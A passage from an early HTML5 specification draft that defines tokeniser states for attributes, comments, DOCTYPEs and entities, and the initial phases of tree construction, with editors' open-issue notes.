href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Switch to the <a href="#before">before attribute name state</a>.     <dt>U+0026 AMPERSAND (AMPERSANDamp;)     <dd>Switch to the <a href="#entity0">entity in attribute value      state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current tag token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Append the current input character to the current attribute's value.      Stay in the <a href="#attribute4">attribute value (unquoted) state</a>.    </dl>   <dt><dfn id=entity0>Entity in attribute value state</dfn>   <dd>    <p>Attempt to <a href="#consume">consume an entity</a>.</p>    <p>If nothing is returned, append a U+0026 AMPERSAND character to the     current attribute's value.</p>    <p>Otherwise, append the returned character token to the current     attribute's value.</p>    <p>Finally, switch back to the attribute value state that you were in     when were switched into this state.</p>   <dt><dfn id=bogus>Bogus comment state</dfn>   <dd>    <p><em>(This can only happen if the <a href="#content2">content model     flag</a> is set to the PCDATA state.)</em></p>    <p>Consume every character up to the first U+003E GREATER-THAN SIGN     character (AMPERSANDgt;) or the end of the file (EOF), whichever comes first.     Emit a comment token whose data is the concatenation of all the     characters starting from and including the character that caused the     state machine to switch into the bogus comment state, up to and     including the last consumed character before the U+003E character, if     any, or up to the end of the file otherwise. (If the comment was started     by the end of the file (EOF), the token is empty.)</p>    <p>Switch to the <a href="#data-state">data state</a>.</p>    <p>If the end of the file was reached, reconsume the EOF character.</p>   <dt><dfn id=markup>Markup declaration open state</dfn>   <dd>    <p><em>(This can only happen if the <a href="#content2">content model     flag</a> is set to the PCDATA state.)</em></p>    <p>If the next two characters are both U+002D HYPHEN-MINUS (-)     characters, consume those two characters, create a comment token whose     data is the empty string, and switch to the <a href="#comment">comment     state</a>.</p>    <p>Otherwise if the next seven chacacters are a     <span>case-insensitive</span><!-- XXX xref, ascii only --> match for the     word "DOCTYPE", then consume those characters and switch to the <a     href="#doctype0">DOCTYPE state</a>.</p>    <p>Otherwise, is is a <a href="#parse">parse error</a>. Switch to the <a     href="#bogus">bogus comment state</a>. The next character that is     consumed, if any, is the first character that will be in the comment.</p>   <dt><dfn id=comment>Comment state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+002D HYPHEN-MINUS (-)     <dd>Switch to the <a href="#comment0">comment dash state</a>     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the comment token. Reconsume      the EOF character in the <a href="#data-state">data state</a>.</dd>     <!-- For     security reasons: otherwise, hostile user could put a <script> in     a comment e.g. in a blog comment and then DOS the server so that     the end tag isn't read, and then the commented <script> tag would     be treated as live code -->     <dt>Anything else     <dd>Append the input character to the comment token's data. Stay in the      <a href="#comment">comment state</a>.    </dl>   <dt><dfn id=comment0>Comment dash state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+002D HYPHEN-MINUS (-)     <dd>Switch to the <a href="#comment1">comment end state</a>     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the comment token. Reconsume      the EOF character in the <a href="#data-state">data state</a>.</dd>     <!-- For     security reasons: otherwise, hostile user could put a <script> in     a comment e.g. in a blog comment and then DOS the server so that     the end tag isn't read, and then the commented <script> tag would     be treated as live code -->     <dt>Anything else     <dd>Append a U+002D HYPHEN-MINUS (-) character and the input character      to the comment token's data. Switch to the <a href="#comment">comment      state</a>.    </dl>   <dt><dfn id=comment1>Comment end state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the comment token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+002D HYPHEN-MINUS (-)     <dd><a href="#parse">Parse error</a>. Append a U+002D HYPHEN-MINUS (-)      character to the comment token's data. Stay in the <a      href="#comment1">comment end state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the comment token. Reconsume      the EOF character in the <a href="#data-state">data state</a>.</dd>     <!-- For     security reasons: otherwise, hostile user could put a <script> in     a comment e.g. in a blog comment and then DOS the server so that     the end tag isn't read, and then the commented <script> tag would     be treated as live code -->     <dt>Anything else     <dd><a href="#parse">Parse error</a>. Append two U+002D HYPHEN-MINUS (-)      characters and the input character to the comment token's data. Switch      to the <a href="#comment">comment state</a>.    </dl>   <dt><dfn id=doctype0>DOCTYPE state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Switch to the <a href="#before1">before DOCTYPE name state</a>.     <dt>Anything else     <dd><a href="#parse">Parse error</a>. Reconsume the current character in      the <a href="#before1">before DOCTYPE name state</a>.    </dl>   <dt><dfn id=before1>Before DOCTYPE name state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Stay in the <a href="#before1">before DOCTYPE name state</a>.     <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z     <dd>Create a new DOCTYPE token. Set the token's name name to the      uppercase version of the current input character (subtract 0x0020 from      the character's code point), and mark it as being in error. Switch to      the <a href="#doctype1">DOCTYPE name state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd><a href="#parse">Parse error</a>. Emit a DOCTYPE token whose name is      the empty string and that is marked as being in error. Switch to the <a      href="#data-state">data state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit a DOCTYPE token whose name is      the empty string and that is marked as being in error. Reconsume the      EOF character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Create a new DOCTYPE token. Set the token's name name to the current      input character, and mark it as being in error. Switch to the <a      href="#doctype1">DOCTYPE name state</a>.    </dl>   <dt><dfn id=doctype1>DOCTYPE name state</dfn>   <dd>    <p>First, consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Switch to the <a href="#after0">after DOCTYPE name state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current DOCTYPE token. Switch to the <a      href="#data-state">data state</a>.     <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z     <dd>Append the uppercase version of the current input character      (subtract 0x0020 from the character's code point) to the current      DOCTYPE token's name. Stay in the <a href="#doctype1">DOCTYPE name      state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current DOCTYPE token.      Reconsume the EOF character in the <a href="#data-state">data      state</a>.     <dt>Anything else     <dd>Append the current input character to the current DOCTYPE token's      name. Stay in the <a href="#doctype1">DOCTYPE name state</a>.    </dl>    <p>Then, if the name of the DOCTYPE token is exactly the four letters     "HTML", then mark the token as being correct. Otherwise, mark it as     being in error.</p>    <p class=note>Because lowercase letters in the name are uppercased by the     algorithm above, the "HTML" letters are actually case-insensitive     relative to the markup.</p>   <dt><dfn id=after0>After DOCTYPE name state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Stay in the <a href="#after0">after DOCTYPE name state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current DOCTYPE token. Switch to the <a      href="#data-state">data state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current DOCTYPE token.      Reconsume the EOF character in the <a href="#data-state">data      state</a>.     <dt>Anything else     <dd><a href="#parse">Parse error</a>. Mark the DOCTYPE token as being in      error, if it is not already. Switch to the <a href="#bogus0">bogus      DOCTYPE state</a>.    </dl>   <dt><dfn id=bogus0>Bogus DOCTYPE state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current DOCTYPE token. Switch to the <a      href="#data-state">data state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current DOCTYPE token.      Reconsume the EOF character in the <a href="#data-state">data      state</a>.     <dt>Anything else     <dd>Stay in the <a href="#bogus0">bogus DOCTYPE state</a>.    </dl>  </dl>  <p>When an end tag token is emitted, the <a href="#content2">content model   flag</a> must be switched to the PCDATA state.  <p>When an end tag token is emitted with attributes, that is a <a   href="#parse">parse error</a>.  <p>A <dfn id=permitted>permitted slash</dfn> is a U+002F SOLIDUS character   that is immediately followed by a U+003E GREATER-THAN SIGN, if, and only   if, the current token being processed is a start tag token whose tag name   is one of the following: <code><a href="#base0">base</a></code>, <code><a   href="#link0">link</a></code>, <code><a href="#meta1">meta</a></code>,   <code><a href="#hr0">hr</a></code>, <code><a href="#br0">br</a></code>,   <code><a href="#img0">img</a></code>, <code><a   href="#embed0">embed</a></code>, <code><a href="#param0">param</a></code>,   <code><a href="#area0">area</a></code>, <code><a   href="#col0">col</a></code>, <code>input</code><!-- XXX add:  , <code>command</code>, <code>event-source</code> --></p>  <!-- XXX  keep this synchronised with the list of "void elements" -->  <h5 id=tokenising><span class=secno>8.2.3.1. </span>Tokenising entities</h5>  <p>This section defines how to <dfn id=consume>consume an entity</dfn>.   This definition is used when parsing entities <a href="#entity"   title="entity data state">in text</a> and <a href="#entity0" title="entity   in attribute value state">in attributes</a>.  <p>The behaviour depends on the identity of the next character (the one   immediately after the U+0026 AMPERSAND character):  <dl class=switch>   <dt>U+0023 NUMBER SIGN (#)   <dd>    <p>Consume the U+0023 NUMBER SIGN.</p>    <p>The behaviour further depends on the character after the U+0023 NUMBER     SIGN:</p>    <dl class=switch>     <dt>U+0078 LATIN SMALL LETTER X     <dt>U+0058 LATIN CAPITAL LETTER X     <dd>      <p>Consume the X.</p>      <p>Follow the steps below, but using the range of characters U+0030       DIGIT ZERO through to U+0039 DIGIT NINE, U+0061 LATIN SMALL LETTER A       through to U+0078 LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL       LETTER A, through to U+0058 LATIN CAPITAL LETTER F (in other words,       0-9, A-F, a-f).</p>      <p>When it comes to interpreting the number, interpret it as a       hexadecimal number.</p>     <dt>Anything else     <dd>      <p>Follow the steps below, but using the range of characters U+0030       DIGIT ZERO through to U+0039 DIGIT NINE (i.e. just 0-9).</p>      <p>When it comes to interpreting the number, interpret it as a decimal       number.</p>    </dl>    <p>Consume as many characters as match the range of characters given     above.</p>    <p>If no characters match the range, then don't consume any characters     (and unconsume the U+0023 NUMBER SIGN character and, if appropriate, the     X character). This is a <a href="#parse">parse error</a>; nothing is     returned.</p>    <p>Otherwise, if the next character is a U+003B SEMICOLON, consume that     too. If it isn't, there is a <a href="#parse">parse error</a>.</p>    <p>If one or more characters match the range, then take them all and     interpret the string of characters as a number (either hexadecimal or     decimal as appropriate), and return a character token for the Unicode     character whose code point is that number. If the number is not a valid     Unicode character (e.g. if the number is higher than 1114111), or if the     number is zero, then return a character token for the U+FFFD REPLACEMENT     CHARACTER character instead.</p>   <dt>Anything else   <dd>    <p>Consume the maximum number of characters possible, with the consumed     characters case-sensitively matching one of the identifiers in the first     column of the <a href="#entities1">entities</a> table.</p>    <p>If no match can be made, then this is a <a href="#parse">parse     error</a>. No characters are consumed, and nothing is returned.</p>    <p>Otherwise, if the next character is a U+003B SEMICOLON, consume that     too. If it isn't, there is a <a href="#parse">parse error</a>.</p>    <p>Return a character token for the character corresponding to the entity     name (as given by the second column of the <a     href="#entities1">entities</a> table).</p>    <div class=example>     <p>If the markup contains <code>I'm AMPERSANDamp;notit without you</code>, the      entity is parsed as "not", as in, <code>I'm AMPERSANDnot;it without you</code>.      But if the markup was <code>I'm AMPERSANDamp;notin without you</code>, the      entity would be parsed as "notin", resulting in <code>I'm AMPERSANDnotin;      without you</code>.</p>    </div>  </dl>  <p class=big-issue>This isn't quite right. For some entities, UAs require a   semicolon, for others they don't. We probably need to do the same for   backwards compatibility. If we do that we might be able to add more   entities, e.g. for mathematics. Probably the way to mark whether or not an   entity requires a semicolon is with an additional column in the <a   href="#entities1" title=entities>entity table lower down</a>.</p>  <!--XXXhandle entities in the Win1252 range...http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLTokenizer.cpp#L101  -->  <h4 id=tree-construction><span class=secno>8.2.4. </span><dfn   id=tree-construction1>Tree construction</dfn></h4>  <p>The input to the tree construction stage is a sequence of tokens from   the <a href="#tokenisation1">tokenisation</a> stage. The tree construction   stage is associated with a DOM <code>Document</code> object when a parser   is created. The "output" of this stage consists of dynamically modifying   or extending that document's DOM tree.  <p>Tree construction passes through several phases. Initially, UAs must act   according to the steps described as being those of <a   href="#the-initial1">the initial phase</a>.  <p>This specification does not define when an interactive user agent has to   render the <code>Document</code> available to the user, or when it has to   begin accepting user input.  <p>When the steps below require the UA to <dfn id=append>append a   character</dfn> to a node, the UA must collect it and all subsequent   consecutive characters that would be appended to that node, and insert one   <code>Text</code> node whose data is the concatenation of all those   characters.  <p id=mutation-during-parsing>DOM mutation events must not fire for changes   caused by the UA parsing the document. (Conceptually, the parser is not   mutating the DOM, it is constructing it.) This includes the parsing of any   content inserted using <code title=dom-document-write-HTML><a   href="#document.write0">document.write()</a></code> and <code   title=dom-document-writeln><a   href="#document.writeln">document.writeln()</a></code> calls.<!--  XXX xref -->   <a href="#refsDOM3Events">[DOM3EVENTS]</a></p>  <!-- XXX  what abotu innerHTML? -->  <p class=note>Not all of the tag names mentioned below are conformant tag   names in this specification; many are included to handle legacy content.   They still form part of the algorithm that implementations are required to   implement to claim conformance.  <p class=note>The algorithm described below places no limit on the depth of   the DOM tree generated, or on the length of tag names, attribute names,   attribute values, text nodes, etc. While implementators are encouraged to   avoid arbitrary limits, it is recognised that <a   href="#hardwareLimitations">practical concerns</a> will likely force user   agents to impose nesting depths.  <h5 id=the-initial><span class=secno>8.2.4.1. </span><dfn   id=the-initial1>The initial phase</dfn></h5>  <p>Initially, the tree construction stage must handle each token emitted   from the <a href="#tokenisation1">tokenisation</a> stage as follows:  <dl class=switch>   <dt>A DOCTYPE token that is marked as being in error   <dt>A comment token   <dt>A start tag token   <dt>An end tag token   <dt>A character token that is not one of one of U+0009 CHARACTER    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM    FEED (FF), or U+0020 SPACE   <dt>An end-of-file token   <dd>    <p>This specification does not define how to handle this case. In     particular, user agents may ignore the entirety of this specification     altogether for such documents, and instead invoke special parse modes     with a greater emphasis on backwards compatibility.</p>    <div class=note>     <p>Browsers in particular have generally used DOCTYPE-based sniffing to      invoke an "alternative conformance mode" known as <em>quirks mode</em>      on certain documents. In this mode, emphasis is put on legacy      compatibility rather than on standards compliance. This specification      takes no position on this behaviour; documents without DOCTYPEs or with      DOCTYPEs that do not conform to the syntax allowed by this      specification are considered to be out of scope of this specification.</p>    </div>    <div class=big-issue>     <p>As far as parsing goes, the quirks I know of are:</p>     <ul>      <li>Comment parsing is different.      <li>The following is considered one script block (!):       <pre>AMPERSANDlt;script>AMPERSANDlt;!-- document.write('AMPERSANDlt;/script>'); -->AMPERSANDlt;/script></pre>      <li><code>AMPERSANDlt;/br></code> and <code>AMPERSANDlt;/p></code> do magical things.      <li><code><a href="#p0">p</a></code> can contain <code><a       href="#table0">table</a></code>      <li>Safari and IE have special parsing rules for AMPERSANDlt;% ... %AMPERSANDgt; (even       in standards mode, though clearly this should be quirks-only).     </ul>     <p>Maybe we should just adopt all those and be done with it. One parsing      mode to rule them all. Or legitimise/codify the quirks mode parsing in      some way.</p>     <p>Would be interesting to do a search to see how many pages hit each of      the above.</p>     <!-- biased by page rank? --></div>   <dt>A DOCTYPE token marked as being correct   <dd>    <p>Append a <code>DocumentType</code> node to the <code>Document</code>     node, with the <code title="">name</code> attribute set to the name     given in the DOCTYPE token (which will be "HTML"), and the other     attributes specific to <code>DocumentType</code> objects set to null,     empty lists, or the empty string as appropriate.</p>    <p>Then, switch to <a href="#the-root2">the root element phase</a> of the     tree construction stage.</p>    <!-- XXX should set doctype on the Document object, too, unless    spec is defined to already point to it if you append -->       <dt>A character token that <em>is</em> one of one of U+0009 CHARACTER    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM    FEED (FF), or U+0020 SPACE   <dd>    <p><a href="#append" title="append a character">Append that character</a>     to the <code>Document</code> node.</p>  </dl>  <h5 id=the-root0><span class=secno>8.2.4.2. </span><dfn id=the-root2>The   root element phase</dfn></h5>  <p>After <a href="#the-initial1">the initial phase</a>, as each token is   emitted from the <a href="#tokenisation1">tokenisation</a> stage, it must   be processed as described in this section.  <dl class=switch>   <dt>A DOCTYPE token   <dd>    <p><a href="#parse">Parse error</a>. Ignore the token.</p>   <dt>A comment token   <dd>    <p>Append a <code>Comment</code> node to the <code>Document</code> object     with the <code title="">data</code> attribute set to the data given in     the comment token.</p>   <dt>A character token that is one of one of U+0009 CHARACTER TABULATION,    U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), or    U+0020 SPACE   <dd>    <p><a href="#append" title="append a character">Append that character</a>     to the <code>Document</code> node.</p>   <dt>A character token that is <em>not</em> one of U+0009 CHARACTER    TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM    FEED (FF), or U+0020 SPACE   <dt>A start tag token   <dt>An end tag token   <dt>An end-of-file token   <dd>    <p>Create an <code><a href="#htmlelement">HTMLElement</a></code> node     with the tag name <code><a href="#html0">html</a></code>, in the <a     href="#html-namespace0">HTML namespace</a>. Append it to the     <code>Document</code> object. Switch to <a href="#the-main1">the main     phase</a> and reprocess the current token.</p>    <p class=big-issue>Should probably make end tags be ignored, so that     "AMPERSANDlt;/head>AMPERSANDlt;!-- -->AMPERSANDlt;html>" puts the comment befor the root node     (or should we?)</p>  </dl>  <p>The root element can end up being removed from the <code>Document</code>   object, e.g. by scripts; nothing in particular happens in such cases,   content continues being appended to the nodes as described in the next   section.  <h5 id=the-main><span class=secno>8.2.4.3. </span><dfn id=the-main1>The   main phase</dfn></h5>  <p>After <a href="#the-root2">the root element phase</a>, each token   emitted from the <a href="#tokenisation1">tokenisation</a> stage must be   processed as described in <em>this</em> section. This is by far the most   involved part of parsing an HTML document.  <p>The tree construction stage in this phase has several pieces of state: a   <a href="#stack">stack of open elements</a>, a <a href="#list-of2">list of   active formatting elements</a>, a <a href="#head-element"><code   title="">head</code> element pointer</a>, a <a href="#form-element"><code   title="">form</code> element pointer</a>, and an <a   href="#insertion0">insertion mode</a>.  <p class=big-issue>We could just fold insertion modes and phases into one   concept (and duplicate the two rules common to all insertion modes into   all of them).  <h6 id=the-stack><span class=secno>8.2.4.3.1. </span>The stack of open   elements</h6>  <p>Initially the <dfn id=stack>stack of open elements</dfn> contains just   the <code><a href="#html0">html</a></code> root element node created in   the <a href="#the-root2" title="the root element phase">last phase</a>   before switching to <em>this</em> phase (or, in the <a   href="#innerhtml1"><code>innerHTML</code> case</a>, the <code><a   href="#html0">html</a></code> element created to represent the element   whose <code title=dom-innerHTML-HTML><a   href="#innerhtml0">innerHTML</a></code> attribute is being set). That's   the topmost node of the stack. It never gets popped off the stack. (This   stack grows downwards.)  <p>The <dfn id=current3>current node</dfn> is the bottommost node in this   stack.  <p>Elements in the stack fall into the following categories:  <dl>   <dt><dfn id=special>Special</dfn>   <dd>    <p>The following HTML elements have varying levels of special parsing     rules: <code><a href="#address0">address</a></code>, <code><a     href="#area0">area</a></code>, <code><a href="#base0">base</a></code>,     <code>basefont</code>, <code>bgsound</code>, <code><a     href="#blockquote0">blockquote</a></code>, <code><a     href="#body1">body</a></code>, <code><a href="#br0">br</a></code>,     <code>center</code>, <code><a href="#col0">col</a></code>, <code><a     href="#colgroup0">colgroup</a></code>, <code><a     href="#dd0">dd</a></code>, <code>dir</code>, <code><a     href="#div0">div</a></code>, <code><a href="#dl0">dl</a></code>,     <code><a href="#dt0">dt</a></code>, <code><a     href="#embed0">embed</a></code>, <code>fieldset</code>,     <code>form</code>, <code>frame</code>, <code>frameset</code>, <code><a     href="#h10">h1</a></code>, <code><a href="#h20">h2</a></code>, <code><a     href="#h30">h3</a></code>, <code><a href="#h40">h4</a></code>, <code><a     href="#h50">h5</a></code>, <code><a href="#h60">h6</a></code>, <code><a     href="#head0">head</a></code>, <code><a href="#hr0">hr</a></code>,     <code><a href="#iframe0">iframe</a></code>,     <code>image</code><!-- XXX ? this isn't an element that can end up   on the stack-->,     <code><a href="#img0">img</a></code>, <code>input</code>,     <code>isindex</code>, <code><a href="#li0">li</a></code>, <code><a     href="#link0">link</a></code>, <code>listing</code>, <code><a     href="#menu0">menu</a></code>, <code><a href="#meta1">meta</a></code>,     <code>noembed</code>, <code>noframes</code>, <code><a     href="#noscript0">noscript</a></code>, <code><a     href="#ol0">ol</a></code>, <code>optgroup</code>, <code>option</code>,     <code><a href="#p0">p</a></code>, <code><a     href="#param0">param</a></code>, <code>plaintext</code>, <code><a     href="#pre0">pre</a></code>, <code><a href="#script2">script</a></code>,     <code>select</code>, <code>spacer</code>, <code><a     href="#style0">style</a></code>, <code><a     href="#tbody0">tbody</a></code>, <code>textarea</code>, <code><a     href="#tfoot1">tfoot</a></code>, <code><a     href="#thead1">thead</a></code>, <code><a     href="#title3">title</a></code>, <code><a href="#tr0">tr</a></code>,     <code><a href="#ul0">ul</a></code>, and <code>wbr</code>.   <dt><dfn id=scoping>Scoping</dfn>   <dd>    <p>The following HTML elements introduce new <a href="#have-an"     title="has an element in scope">scopes</a> for various parts of the     parsing: <code>button</code>, <code><a     href="#caption1">caption</a></code>, <code><a     href="#html0">html</a></code>, <code>marquee</code>, <code><a     href="#object0">object</a></code>, <code><a     href="#table0">table</a></code>, <code><a href="#td0">td</a></code> and     <code><a href="#th0">th</a></code>.   <dt><dfn id=formatting>Formatting</dfn>   <dd>    <p>The following HTML elements are those that end up in the <a     href="#list-of2">list of active formatting elements</a>: <code><a     href="#a0">a</a></code>, <code><a href="#b0">b</a></code>,     <code>big</code>, <code><a href="#em0">em</a></code>, <code>font</code>,     <code><a href="#i0">i</a></code>, <code>nobr</code>, <code>s</code>,     <code><a href="#small0">small</a></code>, <code>strike</code>, <code><a     href="#strong0">strong</a></code>, <code>tt</code>, and <code>u</code>.   <dt><dfn id=phrasing>Phrasing</dfn>   <dd>    <p>All other elements found while parsing an HTML document.  </dl>  <p class=big-issue>Still need to add these new elements to the lists:   <code><a href="#event-source0">event-source</a></code>, <code><a   href="#section0">section</a></code>, <code><a href="#nav0">nav</a></code>,   <code><a href="#article0">article</a></code>, <code><a   href="#aside0">aside</a></code>, <code><a   href="#header0">header</a></code>, <code><a   href="#footer0">footer</a></code>, <code><a   href="#datagrid1">datagrid</a></code>, <code><a   href="#command1">command</a></code>  <p>The <a href="#stack">stack of open elements</a> is said to <dfn   id=have-an title="has an element in scope">have an element in scope</dfn>   or <dfn id=have-an0 title="has an element in table scope">have an element   in <em>table scope</em></dfn> when the following algorithm terminates in a   match state:  <ol>   <li>    <p>Initialise <var title="">node</var> to be the <a     href="#current3">current node</a> (the bottommost node of the stack).   <li>    <p>If <var title="">node</var> is the target node, terminate in a match     state.   <li>    <p>Otherwise, if <var title="">node</var> is a <code><a     href="#table0">table</a></code> element, terminate in a failure state.   <li>    <p>Otherwise, if the algorithm is the "has an element in scope" variant     (rather than the "has an element in table scope" variant), and <var     title="">node</var> is one of the following, terminate in a failure     state:</p>    <ul class=brief>     <li><code><a href="#caption1">caption</a></code>     <li><code><a href="#td0">td</a></code>     <li><code><a href="#th0">th</a></code>     <li><code>button</code>     <li><code>marquee</code>     <li><code><a href="#object0">object</a></code>    </ul>   <li>    <p>Otherwise, if <var title="">node</var> is an <code><a     href="#html0">html</a></code> element, terminate in a failure state.     (This can only happen if the <var title="">node</var> is the topmost     node of the <a href="#stack">stack of open elements</a>, and prevents     the next step from being invoked if there are no more elements in the     stack.)   <li>    <p>Otherwise, set <var title="">node</var> to the previous entry in the     <a href="#stack">stack of open elements</a> and return to step 2. (This     will never fail, since the loop will always terminate in the previous     step if the top of the stack is reached.)  </ol>  <p>Nothing happens if at any time any of the elements in the <a   href="#stack">stack of open elements</a> are moved to a new location in,   or removed from, the <code>Document</code> tree. In particular, the stack   is not changed in this situation. This can cause, amongst other strange   effects, content to be appended to nodes that are no longer in the DOM.  <p class=note>In some cases (namely, when <a href="#adoptionAgency">closing   misnested formatting elements</a>), the stack is manipulated in a   random-access fashion.  <h6 id=the-list><span class=secno>8.2.4.3.2. </span>The list of active   formatting elements</h6>  <p>Initially the <dfn id=list-of2>list of active formatting elements</dfn>   is empty. It is used to handle mis-nested <a href="#formatting"   title=formatting>formatting element tags</a>.  <p>The list contains elements in the <a href="#formatting">formatting</a>   category, and scope markers. The scope markers are inserted when entering   buttons, <code><a href="#object0">object</a></code> elements, marquees,   table cells, and table captions, and are used to prevent formatting from   "leaking" into tables, buttons, <code><a href="#object0">object</a></code>   elements, and marquees.  <p>When the steps below require the UA to <dfn id=reconstruct>reconstruct   the active formatting elements</dfn>, the UA must perform the following   steps:  <ol>   <li>If there are no entries in the <a href="#list-of2">list of active    formatting elements</a>, then there is nothing to reconstruct; stop this    algorithm.   <li>If the last (most recently added) entry in the <a    href="#list-of2">list of active formatting elements</a> is a marker, or    if it is an element that is in the <a href="#stack">stack of open    elements</a>, then there is nothing to reconstruct; stop this algorithm.   <li>Let <var title="">entry</var> be the last (most recently added)    element in the <a href="#list-of2">list of active formatting    elements</a>.   <li>If there are no entries before <var title="">entry</var> in the <a    href="#list-of2">list of active formatting elements</a>, then jump to    step 8.   <li>Let <var title="">entry</var> be the entry one earlier than <var    title="">entry</var> in the <a href="#list-of2">list of active formatting    elements</a>.   <li>If <var title="">entry</var> is neither a marker nor an element that    is also in the <a href="#stack">stack of open elements</a>, go to step 4.   <li>Let <var title="">entry</var> be the element one later than <var    title="">entry</var> in the <a href="#list-of2">list of active formatting    elements</a>.   <li>Perform a shallow clone of the element <var title="">entry</var> to    obtain <var title="">clone</var>. <a href="#refsDOM3CORE">[DOM3CORE]</a>   <li>Append <var title="">clone</var> to the <a href="#current3">current    node</a> and push it onto the <a href="#stack">stack of open elements</a>    so that it is the new <a href="#current3">current node</a>.   <li>Replace the entry for <var title="">entry</var> in the list with an    entry for <var title="">clone</var>.   <li>If the entry for <var title="">clone</var> in the <a    href="#list-of2">list of active formatting elements</a> is not the last    entry in the list, return to step 7.  </ol>  <p>This has the effect of reopening all the formatting elements that were   opened in the current body, cell, or caption (whichever is youngest) that   haven't been explicitly closed.  <p class=note>The way this specification is written, the <a   href="#list-of2">list of active formatting elements</a> always consists of   elements in chronological order with the least recently added element   first and the most recently added element last (except for while steps 8   to 11 of the above algorithm are being executed, of course).  <p>When the steps below require the UA to <dfn id=clear0>clear the list of   active formatting elements up to the last marker</dfn>, the UA must   perform the following steps:  <ol>   <li>Let <var title="">entry</var> be the last (most recently added) entry    in the <a href="#list-of2">list of active formatting elements</a>.   <li>Remove <var title="">entry</var> from the <a href="#list-of2">list of    active formatting elements</a>.   <li>If <var title="">entry</var> was a marker, then stop the algorithm at    this point. The list has been cleared up to the last marker.   <li>Go to step 1.  </ol>  <h6 id=creating><span class=secno>8.2.4.3.3. </span>Creating and inserting   HTML elements</h6>  <p>When the steps below require the UA to <dfn id=create title="create an   element for the token">create an element for a token</dfn>, the UA must   create a node implementing the interface appropriate for the element type   corresponding to the tag name of the token (as given in the section of   this specification that defines that element, e.g. for an <code><a   href="#a0">a</a></code> element it would be the <code><a   href="#htmlanchorelement">HTMLAnchorElement</a></code> interface), with   the tag name being the name of that element, with the node being in the <a   href="#html-namespace0">HTML namespace</a>, and with the attributes on the   node being those given in the given token.  <p>When the steps below require the UA to <dfn id=insert>insert an HTML   element</dfn> for a token, the UA must first <a href="#create">create an   element for the token</a>, and then append this node to the <a   href="#current3">current node</a>, and push it onto the <a   href="#stack">stack of open elements</a> so that it is the new <a   href="#current3">current node</a>.  <p>The steps below may also require that the UA insert an HTML element in a   particular place, in which case the UA must <a href="#create">create an   element for the token</a> and then insert or append the new node in the   location specified. (This happens in particular during the parsing of   tables with invalid content.)  <p>The interface appropriate for an element that is not defined in this   specification is <code><a href="#htmlelement">HTMLElement</a></code>.  <h6 id=closing><span class=secno>8.2.4.3.4. </span>Closing elements that   have implied end tags</h6>  <p>When the steps below require the UA to <dfn id=generate>generate implied   end tags</dfn>, then, if the <a href="#current3">current node</a> is a   <code><a href="#dd0">dd</a></code> element, a <code><a   href="#dt0">dt</a></code> element, an <code><a href="#li0">li</a></code>   element, a <code><a 